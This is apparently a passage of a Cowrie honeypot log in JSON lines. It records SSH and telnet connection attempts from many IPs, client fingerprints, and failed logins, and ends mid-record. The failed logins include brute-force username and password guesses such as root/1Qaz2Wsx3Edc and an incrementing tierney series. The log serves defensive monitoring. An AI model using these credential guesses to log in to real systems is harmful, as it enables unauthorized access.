{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:51:29:eb:08:78:83:51:b1:c9:2a:94:79:24:5e:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmB7CZNG7O3MCsUZJdWO/QhSrIEr6EdVX70xFaEShdp24TemUogvMA9ct0WwAKHJ+QMwEzDFPGlN1Md1CVk0QjkpG62z9LF4x0GQuVMyq+VgluuLDtg7f/Ue2HQAVtR6heiFRJbCjGY4XGzpGAZ/OWTuU+pfmLAj3zFHdBvAIhBogYAMkE4szsRURzXRCN3F7rmp9Zy5nfx9h312Vy3rKaPKkJuY++ISc3974dVfzM8/woCjhljX9OTyC9Cfmpr2/4dwuPLVIydDJP8uxWOw6gHy5aQW0ayMxVxFQTUR+QuBMQbLrb+lbpxu53eChRd6GEojKKcQLEa4LG/MK4bGkf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:51:29:eb:08:78:83:51:b1:c9:2a:94:79:24:5e:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.751324Z","src_ip":"198.46.134.148","session":"4947ec58fb26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:51:29:eb:08:78:83:51:b1:c9:2a:94:79:24:5e:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmB7CZNG7O3MCsUZJdWO/QhSrIEr6EdVX70xFaEShdp24TemUogvMA9ct0WwAKHJ+QMwEzDFPGlN1Md1CVk0QjkpG62z9LF4x0GQuVMyq+VgluuLDtg7f/Ue2HQAVtR6heiFRJbCjGY4XGzpGAZ/OWTuU+pfmLAj3zFHdBvAIhBogYAMkE4szsRURzXRCN3F7rmp9Zy5nfx9h312Vy3rKaPKkJuY++ISc3974dVfzM8/woCjhljX9OTyC9Cfmpr2/4dwuPLVIydDJP8uxWOw6gHy5aQW0ayMxVxFQTUR+QuBMQbLrb+lbpxu53eChRd6GEojKKcQLEa4LG/MK4bGkf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.755402Z","src_ip":"198.46.134.148","session":"4947ec58fb26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:20.785705Z","src_ip":"198.46.134.148","session":"4947ec58fb26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36488,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f78265b3946","protocol":"ssh","message":"New connection: 103.15.226.202:36488 (10.17.0.5:22) [session: 5f78265b3946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:28.628758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:28.634207Z","src_ip":"103.15.226.202","session":"5f78265b3946","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:28.893430Z","src_ip":"103.15.226.202","session":"5f78265b3946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Qaz2Wsx3Edc","message":"login attempt [root/1Qaz2Wsx3Edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:29.640525Z","src_ip":"103.15.226.202","session":"5f78265b3946","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:23:30.891634Z","src_ip":"103.15.226.202","session":"5f78265b3946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.121.99.200","src_port":19093,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1491ec5cb2e","protocol":"telnet","message":"New connection: 168.121.99.200:19093 (159.203.135.109:23) [session: c1491ec5cb2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:26:06.807063Z"}
{"eventid":"cowrie.session.closed","duration":13.098153352737427,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:26:19.905111Z","src_ip":"168.121.99.200","session":"c1491ec5cb2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":19291,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c6f7c0a1d10","protocol":"telnet","message":"New connection: 212.55.149.117:19291 (10.17.0.5:23) [session: 3c6f7c0a1d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:26:31.028287Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":56999,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b713c89c58e","protocol":"ssh","message":"New connection: 213.209.159.56:56999 (10.17.0.5:22) [session: 1b713c89c58e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:26:36.536830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:26:36.541763Z","src_ip":"213.209.159.56","session":"1b713c89c58e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:26:36.624201Z","src_ip":"213.209.159.56","session":"1b713c89c58e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tierney","password":"tierney","message":"login attempt [tierney/tierney] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:26:37.028850Z","src_ip":"213.209.159.56","session":"1b713c89c58e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tierney","password":"tierney1","message":"login attempt [tierney/tierney1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:26:38.115544Z","src_ip":"213.209.159.56","session":"1b713c89c58e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tierney","password":"tierney123","message":"login attempt [tierney/tierney123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:26:39.202257Z","src_ip":"213.209.159.56","session":"1b713c89c58e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tierney","password":"tierney1234","message":"login attempt [tierney/tierney1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:26:40.289476Z","src_ip":"213.209.159.56","session":"1b713c89c58e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tierney","password":"tierney12345","message":"login attempt [tierney/tierney12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:26:41.376523Z","src_ip":"213.209.159.56","session":"1b713c89c58e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:26:42.463445Z","src_ip":"213.209.159.56","session":"1b713c89c58e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45248,"dst_ip":"10.17.0.5","dst_port":22,"session":"51da0d348335","protocol":"ssh","message":"New connection: 103.15.226.202:45248 (10.17.0.5:22) [session: 51da0d348335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:04.570468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:04.575535Z","src_ip":"103.15.226.202","session":"51da0d348335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:04.847475Z","src_ip":"103.15.226.202","session":"51da0d348335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd12345","message":"login attempt [root/P@ssw0rd12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:05.638201Z","src_ip":"103.15.226.202","session":"51da0d348335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:06.899911Z","src_ip":"103.15.226.202","session":"51da0d348335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.82.78.103","src_port":43254,"dst_ip":"10.17.0.5","dst_port":23,"session":"b03ba9d629e6","protocol":"telnet","message":"New connection: 45.82.78.103:43254 (10.17.0.5:23) [session: b03ba9d629e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:14.045982Z"}
{"eventid":"cowrie.session.closed","duration":0.21733331680297852,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:14.263204Z","src_ip":"45.82.78.103","session":"b03ba9d629e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.82.78.103","src_port":43262,"dst_ip":"10.17.0.5","dst_port":23,"session":"22ab97dd7042","protocol":"telnet","message":"New connection: 45.82.78.103:43262 (10.17.0.5:23) [session: 22ab97dd7042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:14.474677Z"}
{"eventid":"cowrie.session.closed","duration":0.005408048629760742,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:14.479871Z","src_ip":"45.82.78.103","session":"22ab97dd7042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.82.78.103","src_port":43274,"dst_ip":"10.17.0.5","dst_port":23,"session":"45899d8fdf13","protocol":"telnet","message":"New connection: 45.82.78.103:43274 (10.17.0.5:23) [session: 45899d8fdf13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:14.901241Z"}
{"eventid":"cowrie.session.closed","duration":0.21616506576538086,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:15.117299Z","src_ip":"45.82.78.103","session":"45899d8fdf13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.82.78.103","src_port":43286,"dst_ip":"10.17.0.5","dst_port":23,"session":"71bb7ea17d9c","protocol":"telnet","message":"New connection: 45.82.78.103:43286 (10.17.0.5:23) [session: 71bb7ea17d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:15.329046Z"}
{"eventid":"cowrie.session.closed","duration":0.0055751800537109375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:15.334501Z","src_ip":"45.82.78.103","session":"71bb7ea17d9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":54132,"dst_ip":"159.203.135.109","dst_port":23,"session":"976a46880c27","protocol":"telnet","message":"New connection: 172.104.93.159:54132 (159.203.135.109:23) [session: 976a46880c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:27:59.481398Z"}
{"eventid":"cowrie.session.closed","duration":10.16352128982544,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:28:09.644776Z","src_ip":"172.104.93.159","session":"976a46880c27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":46412,"dst_ip":"10.17.0.5","dst_port":22,"session":"01bb84581e1d","protocol":"ssh","message":"New connection: 57.128.223.80:46412 (10.17.0.5:22) [session: 01bb84581e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:28:18.043954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:28:18.090689Z","src_ip":"57.128.223.80","session":"01bb84581e1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:28:18.321784Z","src_ip":"57.128.223.80","session":"01bb84581e1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password!@#x","message":"login attempt [admin/Password!@#x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:28:18.739799Z","src_ip":"57.128.223.80","session":"01bb84581e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:28:19.850914Z","src_ip":"57.128.223.80","session":"01bb84581e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.32923936843872,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:28:30.357388Z","src_ip":"212.55.149.117","session":"3c6f7c0a1d10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.145.228.55","src_port":48490,"dst_ip":"159.203.135.109","dst_port":22,"session":"c31494100622","protocol":"ssh","message":"New connection: 118.145.228.55:48490 (159.203.135.109:22) [session: c31494100622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:29:07.823478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:29:07.856011Z","src_ip":"118.145.228.55","session":"c31494100622","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:29:08.075929Z","src_ip":"118.145.228.55","session":"c31494100622","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!@#","message":"login attempt [root/1qaz2wsx!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:29:09.000257Z","src_ip":"118.145.228.55","session":"c31494100622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:29:10.233887Z","src_ip":"118.145.228.55","session":"c31494100622","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.59.115.172","src_port":51358,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d1fdf570cd3","protocol":"ssh","message":"New connection: 37.59.115.172:51358 (10.17.0.5:22) [session: 7d1fdf570cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:22.837951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:30:22.843150Z","src_ip":"37.59.115.172","session":"7d1fdf570cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 